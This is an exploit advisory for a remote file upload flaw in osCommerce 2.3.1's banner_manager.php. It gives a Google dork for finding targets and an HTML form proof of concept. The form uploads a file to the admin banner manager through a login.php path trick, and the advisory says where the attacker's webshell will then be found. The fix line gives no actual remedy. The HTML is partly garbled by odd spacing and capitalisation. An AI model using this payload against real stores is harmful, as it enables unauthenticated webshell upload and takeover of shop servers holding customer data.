OsCommerce 2.3.1 (banner_manager.php) Remote File Upload Vulnerability

 
OsCommerce is an open-source e-commerce program. The banner_manager.php in osCommerce 2.3.1 has a file upload vulnerability, which may cause attackers to directly obtain webshells.

[+] Info:
~~~~~~~~~
OsCommerce 2.3.1 (banner_manager.php) Remote File Upload Vulnerability
# Google Dork: [powered by oscommerce] (we will automatically add these to the GHDB)
# Date: [13-05-2011]
# Author: [Number 7]
# Software Link: [http://www.oscommerce.com/ext/oscommerce-2.3.1.zip]
# Version: [2.3.1]
# Tested on: [Linux-apache-win03-mac OS...]
# CVE: [if exists]

[+] Poc:
~~~~~~~~~
<Form name = "new_banner" action = "http://www.bkjia.com/path/admin/banner_manager.php/login.php? Action = insert "method =" post "enctype =" multipart/form-data "> <br>
<Input type = "file" name = "banners_image"> <br>
<Input name = "submit" value = "Save" type = "submit"> </form>

You will find your shell in
Http://www.bkjia.com/path/images/yourshell.php

Fix: refer to the document for vulnerability fix uploaded.